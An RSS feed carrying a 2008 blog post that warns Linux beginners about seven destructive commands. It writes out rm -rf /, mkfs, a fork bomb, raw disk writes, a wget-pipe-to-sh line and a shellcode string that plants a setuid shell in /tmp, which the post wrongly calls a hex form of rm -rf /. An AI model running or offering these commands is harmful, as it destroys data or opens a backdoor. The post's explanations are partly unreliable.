<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Apache, Linux ,Seo tricks and many more &#187; Shell</title>
	<atom:link href="http://www.gossiplime.com/tag/shell/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gossiplime.com</link>
	<description>This blog is just for all persons to know more about php, apache , linux , seo etc</description>
	<lastBuildDate>Wed, 08 Jul 2009 16:40:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>7 Deadly Linux Commands</title>
		<link>http://www.gossiplime.com/2008/10/7-deadly-linux-commands/</link>
		<comments>http://www.gossiplime.com/2008/10/7-deadly-linux-commands/#comments</comments>
		<pubDate>Wed, 29 Oct 2008 04:09:14 +0000</pubDate>
		<dc:creator>sps</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Unix]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=31</guid>
		<description><![CDATA[If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands [...]]]></description>
			<content:encoded><![CDATA[<p>If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.</p>
<p>1. Code:</p>
<div style="text-align: left; font-weight: bold;"><span style="font-style: italic;"><br />
rm -rf /</span></div>
<p>This command will recursively and forcefully delete all the files inside the root directory.</p>
<p>2. Code:</p>
<p><span style="font-style: italic; font-weight: bold;">char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p</span><br />
<span style="font-style: italic; font-weight: bold;">release */</span><br />
<span style="font-style: italic; font-weight: bold;"> = &#8220;xebx3ex5bx31xc0x50x54x5ax83xecx64x68&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;xffxffxffxffx68xdfxd0xdfxd9x68x8dx99&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;x56x04xf7x56x08xf7x56x0cx83xc4x74x56&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;x8dx73x08x56x53x54x59xb0x0bxcdx80x31&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;xc0x40xebxf9xe8xbdxffxffxffx2fx62x69&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;x6ex2fx73x68x00x2dx63x00&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755</span><br />
<span style="font-style: italic; font-weight: bold;">/tmp/.beyond;&#8221;;</span></p>
<p>This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.</p>
<p>3. Code:</p>
<p><span style="font-weight: bold; font-style: italic;">mkfs.ext3 /dev/sda</span></p>
<div style="text-align: justify;">This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.</div>
<p>4. Code:</p>
<p><span style="font-weight: bold; font-style: italic;"> <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</span></p>
<div style="text-align: justify;">Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.</div>
<p>5. Code:</p>
<p><span style="font-weight: bold; font-style: italic;">any_command &gt; /</span><span id="SPELLING_ERROR_0" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_0" class="blsp-spelling-error">dev</span></span><span style="font-weight: bold; font-style: italic;">/</span><span id="SPELLING_ERROR_1" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_1" class="blsp-spelling-error">sda</span></span></p>
<div style="text-align: justify;">With this command, raw data will be written to a block device that can usually clobber the <span id="SPELLING_ERROR_2" class="blsp-spelling-error"><span id="SPELLING_ERROR_2" class="blsp-spelling-error">filesystem</span></span> resulting in total loss of data.</div>
<p>6. Code: <span id="SPELLING_ERROR_3" class="blsp-spelling-error"></p>
<p></span><span id="SPELLING_ERROR_3" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_3" class="blsp-spelling-error">wget</span></span><span style="font-weight: bold; font-style: italic;"> http://some_untrusted_source -O- | sh</span></p>
<p>Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.</p>
<p>7. Code: <span id="SPELLING_ERROR_4" class="blsp-spelling-error"></p>
<p></span><span id="SPELLING_ERROR_4" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_4" class="blsp-spelling-error">mv</span></span><span style="font-weight: bold; font-style: italic;"> /home/</span><span id="SPELLING_ERROR_5" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_5" class="blsp-spelling-error">yourhomedirectory</span></span><span style="font-weight: bold; font-style: italic;">/* /</span><span id="SPELLING_ERROR_6" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_6" class="blsp-spelling-error">dev</span></span><span style="font-weight: bold; font-style: italic;">/null</span></p>
<p>This command will move all the files inside your home directory to a place that doesn&#8217;t exist; hence you will never ever see those files again.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2008/10/7-deadly-linux-commands/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

